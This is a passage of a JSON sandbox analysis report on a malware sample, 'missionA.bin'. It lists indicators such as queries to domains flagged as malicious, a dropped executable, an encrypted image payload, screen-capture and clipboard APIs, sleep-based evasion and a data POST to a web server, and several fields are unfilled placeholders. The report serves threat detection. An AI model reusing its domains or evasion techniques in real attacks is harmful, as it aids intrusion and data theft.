\"0x140000000\"\n \"DISMHOST.EXE.64DF1521.bin\" has high imagebase \"0x100000000\"","origin":"Static Parser","relevance":1,"id":"static-93","sources":[{"report_type":"sandbox","report_id":"64de63cdad144ae7bb0beed0"}]},{"level":"informative","category":"General","name":"Queries DNS server","description":"\"app.nnnaajjjgc.com\"\n \"us.imgjeoigaa.com\"","origin":"Network Traffic","mitre_attack_id":"T1071.004","relevance":1,"id":"network-51","sources":[{"report_type":"sandbox","report_id":"64de63cdad144ae7bb0beed0"}]},{"level":"informative","category":"General","name":"Reads information about supported languages","description":"\".exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\CUSTOMLOCALE\"; Key: \"EN-US\")\n \".exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\EXTENDEDLOCALE\"; Key: \"EN-US\")","origin":"Registry Access","mitre_attack_id":"T1082","relevance":3,"id":"registry-25","sources":[{"report_type":"sandbox","report_id":"64de63cdad144ae7bb0beed0"}]},{"level":"informative","category":"General","name":"References Windows filepaths for DLLs (possible dropped files)","description":"Observed system executable string:\"r%windir%\\system32\\mapi32.dll\" [Source: missionA.bin]","origin":"File/Memory","mitre_attack_id":"T1083","relevance":1,"id":"string-625","sources":[{"report_type":"sandbox","report_id":"64de63cdad144ae7bb0beed0"}]},{"level":"informative","category":"Installation/Persistence","name":"Contains ability to load modules (API string)","description":"Found reference to API \"LoadLibraryW\" (Indicator: \"LoadLibrary\"; File: \"missionA.bin\")\n Found reference to API \"LoadLibraryW\" (Indicator: \"LoadLibrary\"; Source: \"00000000-00001544.00000000.75934.FF601000.00000020.mdmp, 00000000-00001544.00000001.77652.FF601000.00000020.mdmp\")\n Found reference to API \"LoadLibraryExW\" (Indicator: \"LoadLibrary\"; Source: \"00000000-00001544.00000000.75934.FF601000.00000020.mdmp, 00000000-00001544.00000001.77652.FF601000.00000020.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-310","sources":[{"report_type":"sandbox","report_id":"64de63cdad144ae7bb0beed0"}]},{"level":"informative","category":"Installation/Persistence","name":"Creates a thread in a self process","description":"\".exe\" creates a thread in process \"-1\" (Handle: FFFFFFFFFFFFFFFF)","origin":"API Call","mitre_attack_id":"T1055.003","relevance":3,"id":"api-264","sources":[{"report_type":"sandbox","report_id":"64de63cdad144ae7bb0beed0"}]},{"level":"informative","category":"Installation/Persistence","name":"Dropped files","description":"\"imagc_1_.jpg\" has type \"JPEG image data JFIF standard 1.01 aspect ratio density 1x1 segment length 16 baseline precision 8 1080x1440 components 3\"- [targetUID: 00000000-00003864]\n \"dism.log\" has type \"data\"- [targetUID: 00000000-00003864]\n \"DISMHOST.EXE.64DF1521.bin\" has type \"PE32+ executable (GUI) x86-64 for MS Windows\"- [targetUID: 00000000-00003864]","origin":"Binary File","mitre_attack_id":"T1105","relevance":3,"id":"binary-0","sources":[{"report_type":"sandbox","report_id":"64de63cdad144ae7bb0beed0"}]},{"level":"informative","category":"Installation/Persistence","name":"Opens registry keys","description":"\".exe\" (Access type: \"OPEN\"; Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\TIMEZONEINFORMATION\"; Key: \"\"; Value: \"\")\n \".exe\" (Access type: \"OPEN\"; Path: \"HKLM\\SOFTWARE\\MICROSOFT\\WINDOWS NT\\CURRENTVERSION\\TIME ZONES\\ROMANCE STANDARD TIME\\DYNAMIC DST\"; Key: \"\"; Value: \"\")\n \".exe\" (Access type: \"OPEN\"; Path: \"HKLM\\SYSTEM\\CONTROLSET001\\SERVICES\\TCPIP6\\PARAMETERS\\INTERFACES\\{E390372A-3FAB-417F-940E-F2CD5C8F68CB}\"; Key: \"\"; Value: \"\")\n \".exe\" (Access type: \"OPEN\"; Path: \"HKLM\\SYSTEM\\CONTROLSET001\\SERVICES\\TCPIP\\PARAMETERS\\INTERFACES\"; Key: \"\"; Value: \"\")\n \".exe\" (Access type: \"OPEN\"; Path: \"HKLM\\SYSTEM\\CONTROLSET001\\SERVICES\\TCPIP\\PARAMETERS\\INTERFACES\\{E390372A-3FAB-417F-940E-F2CD5C8F68CB}\"; Key: \"\"; Value: \"\")\n \".exe\" (Access type: \"OPEN\"; Path: \"HKLM\\SYSTEM\\CONTROLSET001\\SERVICES\\TCPIP6\\PARAMETERS\\INTERFACES\\{846EE342-7039-11DE-9D20-806E6F6E6963}\"; Key: \"\"; Value: \"\")","origin":"Registry Access","mitre_attack_id":"T1012","relevance":1,"id":"registry-177","sources":[{"report_type":"sandbox","report_id":"64de63cdad144ae7bb0beed0"}]},{"level":"informative","category":"Installation/Persistence","name":"Queries registry keys","description":"$36","origin":"Registry Access","mitre_attack_id":"T1012","relevance":1,"id":"registry-172","sources":[{"report_type":"sandbox","report_id":"64de63cdad144ae7bb0beed0"}]},{"level":"informative","category":"Installation/Persistence","name":"Shows ability to use execution guardrails","description":"The analysis shows indicators which can be used as execution guardrails to ensure that payload only executes against intended targets/system. Matched sigs: Tries to sleep for a long time (more than two minutes)\n Matched sigs: Contains ability to retrieve the time elapsed since the system was started (API string)\n Matched sigs: Contains ability to delay the execution of current thread","origin":"Indicator Combinations","mitre_attack_id":"T1480","relevance":1,"id":"summary-29","sources":[{"report_type":"sandbox","report_id":"64de63cdad144ae7bb0beed0"}]},{"level":"informative","category":"Installation/Persistence","name":"Touches files","description":"$37","origin":"API Call","mitre_attack_id":"T1083","relevance":1,"id":"api-263","sources":[{"report_type":"sandbox","report_id":"64de63cdad144ae7bb0beed0"}]},{"level":"informative","category":"Installation/Persistence","name":"Touches files in the Windows directory","description":"\".exe\" touched file \"C:\\Users\\%OSUSER%\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\counters.dat\"\n \".exe\" touched file \"C:\\Users\\%OSUSER%\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\"\n \".exe\" touched file \"C:\\Users\\%OSUSER%\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\"\n \".exe\" touched file \"C:\\Users\\%OSUSER%\\AppData\\Local\\Microsoft\\Windows\\History\"\n \".exe\" touched file \"C:\\Users\\%OSUSER%\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\98FKNM2M\\imagc[1].jpg\"\n \".exe\" touched file \"%LOCALAPPDATA%\\Microsoft\\Windows\\Temporary Internet Files\\counters.dat\"\n \".exe\" touched file \"%LOCALAPPDATA%\\Microsoft\\Windows\\Temporary Internet Files\"\n \".exe\" touched file \"%APPDATA%\\Microsoft\\Windows\\Cookies\"\n \".exe\" touched file \"%LOCALAPPDATA%\\Microsoft\\Windows\\History\"","origin":"API Call","mitre_attack_id":"T1083","relevance":7,"id":"api-55","sources":[{"report_type":"sandbox","report_id":"64de63cdad144ae7bb0beed0"}]},{"level":"informative","category":"Installation/Persistence","name":"Tries to access non-existent files (executable)","description":"$38","origin":"API Call","mitre_attack_id":"T1083","relevance":3,"id":"api-126","sources":[{"report_type":"sandbox","report_id":"64de63cdad144ae7bb0beed0"}]},{"level":"informative","category":"Installation/Persistence","name":"Tries to access non-existent files (non-executable)","description":"\".exe\" trying to access non-existent file \"C:\\missionA.exe.Local\\\"\n \".exe\" trying to access non-existent file \"\\DEVICE\\NETBT_TCPIP_{846EE342-7039-11DE-9D20-806E6F6E6963}\"\n \".exe\" trying to access non-existent file \"\\DEVICE\\NETBT_TCPIP_{C3450F58-7060-4AEA-B0A0-C245927D78D0}\"\n \".exe\" trying to access non-existent file \"\\Device\\RasAcd\"","origin":"API Call","mitre_attack_id":"T1083","relevance":3,"id":"api-161","sources":[{"report_type":"sandbox","report_id":"64de63cdad144ae7bb0beed0"}]},{"level":"informative","category":"Installation/Persistence","name":"Writes files","description":"\".exe\" writes file \"c:\\users\\%osuser%\\appdata\\local\\microsoft\\windows\\temporary internet files\\content.ie5\\98fknm2m\\imagc[1].jpg\"","origin":"API Call","relevance":1,"id":"api-242","sources":[{"report_type":"sandbox","report_id":"64de63cdad144ae7bb0beed0"}]},{"level":"informative","category":"Network Related","name":"Calls an API typically used to register an interface (RPC)","description":"\".exe\" called \"RpcServerRegisterIf2\" (UID: 00000000-00003864)","origin":"API Call","mitre_attack_id":"T1021","relevance":3,"id":"api-219","sources":[{"report_type":"sandbox","report_id":"64de63cdad144ae7bb0beed0"}]},{"level":"informative","category":"Network Related","name":"Calls an API typically used to retrieve the URL data","description":"\".exe\" called \"InternetReadFile\" with parameter 2000000 (UID: 00000000-00003864)","origin":"API Call","mitre_attack_id":"T1105","relevance":3,"id":"api-118","sources":[{"report_type":"sandbox","report_id":"64de63cdad144ae7bb0beed0"}]},{"level":"informative","category":"Network Related","name":"Communicates with HTTP webserver (GET/POST requests)","description":"$39","origin":"Network Traffic","mitre_attack_id":"T1071.001","relevance":1,"id":"network-62","sources":[{"report_type":"sandbox","report_id":"64de63cdad144ae7bb0beed0"}]},{"level":"informative","category":"Network Related","name":"Contains ability to communicate with network (API string)","description":"Found reference to API \"WSASend\" (Indicator: \"WSASend\"; Source: \"00000000-00003864-00000C26-21043966\")\n Found reference to API \"WSARecv\" (Indicator: \"WSARecv\"; Source: \"00000000-00003864-00000C26-21045189\")","origin":"File/Memory","mitre_attack_id":"T1071","relevance":1,"id":"string-601","sources":[{"report_type":"sandbox","report_id":"64de63cdad144ae7bb0beed0"}]},{"level":"informative","category":"Network Related","name":"Found potential URL in binary/memory","description":"$3a","origin":"File/Memory","mitre_attack_id":"T1071","relevance":3,"id":"string-3","sources":[{"report_type":"sandbox","report_id":"64de63cdad144ae7bb0beed0"}]},{"level":"informative","category":"Network Related","name":"Found potential URLs in memory dumps","description":"$3b","origin":"Memory Dumps","mitre_attack_id":"T1071","relevance":1,"id":"memorydump-2","sources":[{"report_type":"sandbox","report_id":"64de63cdad144ae7bb0beed0"}]},{"level":"informative","category":"Network Related","name":"HTTP request contains Base64 encoded artifacts","description":"$3c","origin":"Network Traffic","mitre_attack_id":"T1132.001","relevance":7,"id":"network-20","sources":[{"report_type":"sandbox","report_id":"64de63cdad144ae7bb0beed0"}]},{"level":"informative","category":"Network Related","name":"Making HTTPS connections using secure TLS/SSL version","description":"Connection was made using TLSv1.2 [tls.handshake.version: 0x00000303]","origin":"Network Traffic","mitre_attack_id":"T1573","relevance":1,"id":"network-54","sources":[{"report_type":"sandbox","report_id":"64de63cdad144ae7bb0beed0"}]},{"level":"informative","category":"Pattern Matching","name":"YARA signature match - AES Encryption","description":"YARA signature for AES encryption matched on process \"00000000-00003864\"\n YARA signature for AES encryption matched on file \"imagc_1_.jpg\"","origin":"YARA Signature","mitre_attack_id":"T1027","relevance":5,"id":"yara-103","sources":[{"report_type":"sandbox","report_id":"64de63cdad144ae7bb0beed0"}]},{"level":"informative","category":"Pattern Matching","name":"YARA signature match - RC4 Encryption","description":"YARA signature for RC4 encryption matched on process \"00000000-00003864\"\n YARA signature for RC4 encryption matched on file \"imagc_1_.jpg\"","origin":"YARA Signature","mitre_attack_id":"T1027","relevance":5,"id":"yara-104","sources":[{"report_type":"sandbox","report_id":"64de63cdad144ae7bb0beed0"}]},{"level":"informative","category":"Remote Access Related","name":"Contains references to RPC protocol sequence strings","description":"$3d","origin":"File/Memory","mitre_attack_id":"T1090","relevance":1,"id":"string-531","sources":[{"report_type":"sandbox","report_id":"64de63cdad144ae7bb0beed0"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Calls an API typically used for taking snapshot of the specified processes","description":"\".exe\" called \"CreateToolhelp32Snapshot\" with parameters {\"dwFlags\": \"4\"\n \"th32ProcessID\": \"0\"}\n \".exe\" called \"CreateToolhelp32Snapshot\" with parameters {\"dwFlags\": \"8\"\n \"th32ProcessID\": \"1584\"}","origin":"API Call","mitre_attack_id":"T1057","relevance":3,"id":"api-103","sources":[{"report_type":"sandbox","report_id":"64de63cdad144ae7bb0beed0"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to access clipboard data (API string)","description":"Found reference to API \"OpenClipboard\" (Indicator: \"OpenClipboard\"; File: \"missionA.bin\")","origin":"File/Memory","mitre_attack_id":"T1115","relevance":1,"id":"string-188","sources":[{"report_type":"sandbox","report_id":"64de63cdad144ae7bb0beed0"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to capture screen (API string)","description":"Found reference to API \"Helpers::GetDC\" (Indicator: \"GetDC\"; File: \"missionA.bin\")\n Found reference to API \"Helpers::CreateCompatibleDC\" (Indicator: \"CreateCompatibleDC\"; File: \"missionA.bin\")\n Found reference to API \"Helpers::CreateCompatibleBitmap\" (Indicator: \"CreateCompatibleBitmap\"; File: \"missionA.bin\")\n Found reference to API \"Helpers::BitBlt\" (Indicator: \"BitBlt\"; File: \"missionA.bin\")\n Found reference to API \"CreateCompatibleDC\" (Indicator: \"CreateCompatibleDC\"; File: \"missionA.bin\")\n Found reference to API \"GetDesktopWindow\" (Indicator: \"GetDesktopWindow\"; File: \"missionA.bin\")\n Found reference to API \"GetWindowDC\" (Indicator: \"GetWindowDC\"; File: \"missionA.bin\")\n Found reference to API \"GetDC\" (Indicator: \"GetDC\"; File: \"missionA.bin\")\n Found reference to API \"CreateCompatibleBitmap\" (Indicator: \"CreateCompatibleBitmap\"; File: \"missionA.bin\")\n Found reference to API \"BitBlt\" (Indicator: \"BitBlt\"; File: \"missionA.bin\")","origin":"File/Memory","mitre_attack_id":"T1113","relevance":1,"id":"string-78","sources":[{"report_type":"sandbox","report_id":"64de63cdad144ae7bb0beed0"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to enumerate process and/or its information (API string)","description":"$3e","origin":"File/Memory","mitre_attack_id":"T1057","relevance":1,"id":"string-85","sources":[{"report_type":"sandbox","report_id":"64de63cdad144ae7bb0beed0"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to query registry keys (API string)","description":"Found reference to API \"Helpers::RegOpenKeyExW\" (Indicator: \"RegOpenKey\"; File: \"missionA.bin\")\n Found reference to API \"Helpers::RegQueryValueExW\" (Indicator: \"RegQueryValue\"; File: \"missionA.bin\")\n Found reference to API \"RegQueryValueExW\" (Indicator: \"RegQueryValue\"; File: \"missionA.bin\")\n Found reference to API \"RegOpenKeyExW\" (Indicator: \"RegOpenKey\"; File: \"missionA.bin\")","origin":"File/Memory","mitre_attack_id":"T1012","relevance":1,"id":"string-229","sources":[{"report_type":"sandbox","report_id":"64de63cdad144ae7bb0beed0"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve SID for the specified name (API string)","description":"Found reference to API \"LookupAccountNameA\" (Indicator: \"LookupAccountName\"; Source: \"00000000-00001544.00000000.75934.00C60000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1087","relevance":1,"id":"string-452","sources":[{"report_type":"sandbox","report_id":"64de63cdad144ae7bb0beed0"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve a module handle (API string)","description":"Found reference to API \"GetModuleHandleW\" (Indicator: \"GetModuleHandle\"; File: \"missionA.bin\")\n Found reference to API \"GetModuleHandleW\" (Indicator: \"GetModuleHandle\"; Source: \"00000000-00001544.00000000.75934.FF601000.00000020.mdmp, 00000000-00001544.00000001.77652.FF601000.00000020.mdmp\")\n Found reference to API \"GetModuleHandleExW\" (Indicator: \"GetModuleHandle\"; Source: \"00000000-00001544.00000000.75934.FF601000.00000020.mdmp, 00000000-00001544.00000001.77652.FF601000.00000020.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-427","sources":[{"report_type":"sandbox","report_id":"64de63cdad144ae7bb0beed0"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve address of exported function from a DLL (API string)","description":"Found reference to API \"GetProcAddress\" (Indicator: \"GetProcAddress\"; File: \"missionA.bin\")\n Found reference to API \"GetProcAddress\" (Indicator: \"GetProcAddress\"; Source: \"00000000-00001544.00000000.75934.FF601000.00000020.mdmp, 00000000-00001544.00000001.77652.FF601000.00000020.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-317","sources":[{"report_type":"sandbox","report_id":"64de63cdad144ae7bb0beed0"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve file and directory information (API string)","description":"Found reference to API \"GetTempPathW\" (Indicator: \"GetTempPath\"; File: \"missionA.bin\")\n Found reference to API \"PathFindFileNameW\" (Indicator: \"PathFindFileName\"; File: \"missionA.bin\")\n Found reference to API \"GetSystemDirectoryW\" (Indicator: \"GetSystemDirectory\"; Source: \"00000000-00001544.00000000.75934.FF601000.00000020.mdmp, 00000000-00001544.00000001.77652.FF601000.00000020.mdmp\")\n Found reference to API \"GetFileAttributesW\" (Indicator: \"GetFileAttributes\"; Source: \"00000000-00001544.00000000.75934.FF601000.00000020.mdmp, 00000000-00001544.00000001.77652.FF601000.00000020.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1083","relevance":1,"id":"string-207","sources":[{"report_type":"sandbox","report_id":"64de63cdad144ae7bb0beed0"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve the fully qualified path of module (API string)","description":"Found reference to API \"GetModuleFileNameW\" (Indicator: \"GetModuleFileName\"; Source: \"00000000-00001544.00000000.75934.FF601000.00000020.mdmp, 00000000-00001544.00000001.77652.FF601000.00000020.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-164","sources":[{"report_type":"sandbox","report_id":"64de63cdad144ae7bb0beed0"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve the specified system metric or system configuration setting (API string)","description":"Found reference to API \"GetSystemMetrics\" (Indicator: \"GetSystemMetrics\"; File: \"missionA.bin\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-131","sources":[{"report_type":"sandbox","report_id":"64de63cdad144ae7bb0beed0"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve the time elapsed since the system was started (API string)","description":"Found reference to API \"GetTickCount\" (Indicator: \"GetTickCount\"; File: \"missionA.bin\")\n Found reference to API \"GetTickCount\" (Indicator: \"GetTickCount\"; Source: \"00000000-00001544.00000000.75934.FF601000.00000020.mdmp, 00000000-00001544.00000001.77652.FF601000.00000020.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1497.003","relevance":1,"id":"string-205","sources":[{"report_type":"sandbox","report_id":"64de63cdad144ae7bb0beed0"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve usernames and/or user information (API string)","description":"Found reference to API \"LookupAccountNameA\" (Indicator: \"LookupAccountName\"; Source: \"00000000-00001544.00000000.75934.00C60000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1033","relevance":1,"id":"string-121","sources":[{"report_type":"sandbox","report_id":"64de63cdad144ae7bb0beed0"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieves the class object from a DLL object handler (API string)","description":"Found reference to API \"DllGetClassObject\" (Indicator: \"DllGetClassObject\"; Source: \"00000000-00001544.00000000.75934.FF601000.00000020.mdmp, 00000000-00001544.00000001.77652.FF601000.00000020.mdmp\")","origin":"File/Memory","relevance":1,"id":"string-82","sources":[{"report_type":"sandbox","report_id":"64de63cdad144ae7bb0beed0"}]},{"level":"informative","category":"System Security","name":"Contains ability to access device drivers","description":"$3f","origin":"File/Memory","mitre_attack_id":"T1543.003","relevance":1,"id":"string-474","sources":[{"report_type":"sandbox","report_id":"64de63cdad144ae7bb0beed0"}]},{"level":"informative","category":"System Security","name":"Contains ability to delete files/directories (API string)","description":"Found reference to API \"DeleteFileW\" (Indicator: \"DeleteFile\"; File: \"missionA.bin\")","origin":"File/Memory","mitre_attack_id":"T1070.004","relevance":1,"id":"string-308","sources":[{"report_type":"sandbox","report_id":"64de63cdad144ae7bb0beed0"}]},{"level":"informative","category":"System Security","name":"Contains ability to modify the user configuration/privilege (API string)","description":"Found reference to API \"SystemParametersInfoW\" (Indicator: \"SystemParametersInfo\"; File: \"missionA.bin\")","origin":"File/Memory","mitre_attack_id":"T1098","relevance":1,"id":"string-132","sources":[{"report_type":"sandbox","report_id":"64de63cdad144ae7bb0beed0"}]},{"level":"informative","category":"System Security","name":"Contains ability to obtains specified information about the security of a file or directory (API string)","description":"$40","origin":"File/Memory","mitre_attack_id":"T1134.001","relevance":1,"id":"string-114","sources":[{"report_type":"sandbox","report_id":"64de63cdad144ae7bb0beed0"}]},{"level":"informative","category":"System Security","name":"Contains ability to terminate a process (API string)","description":"Found reference to API \"TerminateProcess\" (Indicator: \"TerminateProcess\"; File: \"missionA.bin\")\n Found reference to API \"ExitProcess\" (Indicator: \"ExitProcess\"; Source: \"00000000-00001544.00000000.75934.FF601000.00000020.mdmp, 00000000-00001544.00000001.77652.FF601000.00000020.mdmp\")\n Found reference to API \"TerminateProcess\" (Indicator: \"TerminateProcess\"; Source: \"00000000-00001544.00000000.75934.FF601000.00000020.mdmp, 00000000-00001544.00000001.77652.FF601000.00000020.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1489","relevance":1,"id":"string-316","sources":[{"report_type":"sandbox","report_id":"64de63cdad144ae7bb0beed0"}]},{"level":"informative","category":"System Security","name":"Contains ability to write files (API string)","description":"Found reference to API \"WriteFile\" (Indicator: \"WriteFile\"; File: \"missionA.bin\")","origin":"File/Memory","mitre_attack_id":"T1105","id":"string-535","sources":[{"report_type":"sandbox","report_id":"64de63cdad144ae7bb0beed0"}]},{"level":"informative","category":"System Security","name":"Contains reference to Hijacked CLSID(s)","description":"Observed string: \"CLSID\\{1299CF18-C4F5-4B6A-BB0F-2299F0398E27}\" (Indicator: \"{1299CF18-C4F5-4B6A-BB0F-2299F0398E27}\") in Source: 00000000-00003864.00000000.69753.000D0000.00000004.mdmp","origin":"File/Memory","mitre_attack_id":"T1546.015","relevance":1,"id":"string-342","sources":[{"report_type":"sandbox","report_id":"64de63cdad144ae7bb0beed0"}]},{"level":"informative","category":"System Security","name":"Creates or modifies windows services","description":"\".exe\" (Access type: \"CREATE\"; Path: \"HKLM\\SYSTEM\\CONTROLSET001\\SERVICES\\TCPIP\\PARAMETERS\")","origin":"Registry Access","mitre_attack_id":"T1543.003","relevance":10,"id":"registry-67","sources":[{"report_type":"sandbox","report_id":"64de63cdad144ae7bb0beed0"}]},{"level":"informative","category":"System Security","name":"Imports system security related APIs","description":"$41","origin":"Static Parser","mitre_attack_id":"T1134.001","relevance":1,"id":"static-87","sources":[{"report_type":"sandbox","report_id":"64de63cdad144ae7bb0beed0"}]},{"level":"informative","category":"System Security","name":"Opens the Kernel Security Device Driver (KsecDD) of Windows","description":"\".exe\" opened \"\\Device\\KsecDD\"","origin":"API Call","relevance":10,"id":"api-37","sources":[{"report_type":"sandbox","report_id":"64de63cdad144ae7bb0beed0"}]},{"level":"informative","category":"System Security","name":"Queries services related registry keys","description":"$42","origin":"Registry Access","mitre_attack_id":"T1007","relevance":1,"id":"registry-173","sources":[{"report_type":"sandbox","report_id":"64de63cdad144ae7bb0beed0"}]},{"level":"informative","category":"Unusual Characteristics","name":"Contains reference to mutex-related activity (API string)","description":"Found reference to API \"Helpers::CreateMutexW\" (Indicator: \"CreateMutex\"; File: \"missionA.bin\")\n Found reference to API \"Helpers::ReleaseMutex\" (Indicator: \"ReleaseMutex\"; File: \"missionA.bin\")\n Found reference to API \"CreateMutexW\" (Indicator: \"CreateMutex\"; File: \"missionA.bin\")\n Found reference to API \"ReleaseMutex\" (Indicator: \"ReleaseMutex\"; File: \"missionA.bin\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-354","sources":[{"report_type":"sandbox","report_id":"64de63cdad144ae7bb0beed0"}]},{"level":"informative","category":"Unusual Characteristics","name":"Drops files with image extension","description":"\"imagc_1_.jpg\" has type \"JPEG image data JFIF standard 1.01 aspect ratio density 1x1 segment length 16 baseline precision 8 1080x1440 components 3\" and extension \"jpg\"","origin":"Binary File","mitre_attack_id":"T1105","id":"binary-56","sources":[{"report_type":"sandbox","report_id":"64de63cdad144ae7bb0beed0"}]},{"level":"suspicious","category":"Anti-Detection/Stealthyness","name":"Queries kernel debugger information","description":"\".exe\" at 00000000-00003864-00000033-1008386","origin":"API Call","mitre_attack_id":"T1622","relevance":6,"id":"api-10","sources":[{"report_type":"sandbox","report_id":"64de63cdad144ae7bb0beed0"}]},{"level":"suspicious","category":"Anti-Detection/Stealthyness","name":"Queries the internet cache settings (often used to hide footprints in index.dat or internet cache)","description":"$43","origin":"Registry Access","mitre_attack_id":"T1012","relevance":3,"id":"registry-29","sources":[{"report_type":"sandbox","report_id":"64de63cdad144ae7bb0beed0"}]},{"level":"suspicious","category":"Anti-Reverse Engineering","name":"Possibly checks for known debuggers/analysis tools","description":"Found string \":\\Windows\\system32\\dbghelp.dll\" (Indicator: \"dbghelp.dll\"; Source: \"00000000-00001544.00000001.77652.0029F000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1518.001","relevance":2,"id":"string-5","sources":[{"report_type":"sandbox","report_id":"64de63cdad144ae7bb0beed0"}]},{"level":"suspicious","category":"Environment Awareness","name":"Contains ability to read monitor info","description":"GetMonitorInfoW@USER32.dll at 53111-1767-0000000140023338","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1082","relevance":5,"id":"stream-62","sources":[{"report_type":"sandbox","report_id":"64de63cdad144ae7bb0beed0"}]},{"level":"suspicious","category":"Environment Awareness","name":"Contains ability to retrieve the contents of the STARTUPINFO structure","description":"GetStartupInfoW@KERNEL32.dll at 33886-1-000000010000F3CC","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1543","relevance":5,"id":"stream-133","sources":[{"report_type":"sandbox","report_id":"64de63cdad144ae7bb0beed0"}]},{"level":"suspicious","category":"Environment Awareness","name":"Contains ability to retrieve the specified system metric or system configuration setting","description":"GetSystemMetrics@USER32.dll at 53111-1621-0000000140006129\n GetSystemMetrics@USER32.dll at 53111-1855-000000014000F949\n GetSystemMetrics@USER32.dll at 53111-1647-0000000140006D45\n GetSystemMetrics@USER32.dll at 53111-1796-000000014000C2F4","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1082","relevance":5,"id":"stream-122","sources":[{"report_type":"sandbox","report_id":"64de63cdad144ae7bb0beed0"}]},{"level":"suspicious","category":"Environment Awareness","name":"Tries to sleep for a long time (more than two minutes)","description":"\".exe\" sleeping for \"00300000\" milliseconds","origin":"API Call","mitre_attack_id":"T1497.003","relevance":10,"id":"api-24","sources":[{"report_type":"sandbox","report_id":"64de63cdad144ae7bb0beed0"}]},{"level":"suspicious","category":"External Systems","name":"Found an IP/URL artifact that was identified as malicious by at least three reputation engines","description":"14/90 reputation engines marked \"http://app.nnnaajjjgc.com\" as malicious (15% detection rate)\n 18/90 reputation engines marked \"http://us.imgjeoigaa.com\" as malicious (20% detection rate)","origin":"External System","relevance":10,"id":"avtest-6","sources":[{"report_type":"sandbox","report_id":"64de63cdad144ae7bb0beed0"}]},{"level":"suspicious","category":"External Systems","name":"Sample was identified as malicious by at least one Antivirus engine","description":"42/69 Antivirus vendors marked sample as malicious (60% detection rate)","origin":"External System","id":"avtest-0","sources":[{"report_type":"sandbox","report_id":"64de63cdad144ae7bb0beed0"}]},{"level":"suspicious","category":"General","name":"Contains ability to find and load resources of a specific module","description":"FindResourceW@KERNEL32.dll at 53111-1948-0000000140012064\n FindResourceExW@KERNEL32.dll at 53111-1946-0000000140012204","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1005","relevance":1,"id":"stream-32","sources":[{"report_type":"sandbox","report_id":"64de63cdad144ae7bb0beed0"}]},{"level":"suspicious","category":"General","name":"POSTs data to a webserver","description":"$44","origin":"Network Traffic","mitre_attack_id":"T1041","relevance":5,"id":"network-4","sources":[{"report_type":"sandbox","report_id":"64de63cdad144ae7bb0beed0"}]},{"level":"suspicious","category":"Installation/Persistence","name":"Drops executable files","description":"\"DISMHOST.EXE.64DF1521.bin\" has type \"PE32+ executable (GUI) x86-64 for MS Windows\"- [targetUID: 00000000-00003864]","origin":"Binary File","mitre_attack_id":"T1105","relevance":10,"id":"binary-1","sources":[{"report_type":"sandbox","report_id":"64de63cdad144ae7bb0beed0"}]},{"level":"suspicious","category":"Network Related","name":"Found potential IP address in binary/memory","description":"\"192.168.241.190\"\n Potential IP \"9.8.18.0\" found in string \"DriverVer = 10/29/2021, 9.8.18.0\"\n Potential IP \"12.5.12.0\" found in string \"DriverVer=10/27/2021, 12.5.12.0\"\n \"2.5.12.0\"\n \"92.168.241.190\"\n \"2.5.4.37\"\n \"2.5.4.36\"\n \"2.5.4.38\"\n \"2.5.4.34\"\n \"2.5.4.35\"\n \"2.5.4.3\"\n \"2.5.4.4\"\n \"2.5.4.5\"\n \"2.5.4.6\"\n \"2.5.4.7\"\n \"2.5.4.8\"\n \"2.5.4.9\"\n \"2.5.4.10\"\n \"2.5.4.11\"\n \"2.5.4.12\"\n \"2.5.4.13\"\n \"2.5.4.14\"\n \"2.5.4.15\"\n \"2.5.4.16\"\n \"2.5.4.17\"\n \"2.5.4.18\"\n \"2.5.4.19\"\n \"2.5.4.20\"\n \"2.5.4.21\"\n \"2.5.4.22\"\n \"2.5.4.23\"\n \"2.5.4.24\"\n \"2.5.4.25\"\n \"2.5.4.26\"\n \"2.5.4.27\"\n \"2.5.4.28\"\n \"2.5.4.29\"\n \"2.5.4.30\"\n \"2.5.4.31\"\n \"2.5.4.32\"\n \"2.5.4.33\"","origin":"File/Memory","mitre_attack_id":"T1071","relevance":3,"id":"string-14","sources":[{"report_type":"sandbox","report_id":"64de63cdad144ae7bb0beed0"}]},{"level":"suspicious","category":"Network Related","name":"Sends traffic on typical HTTP outbound 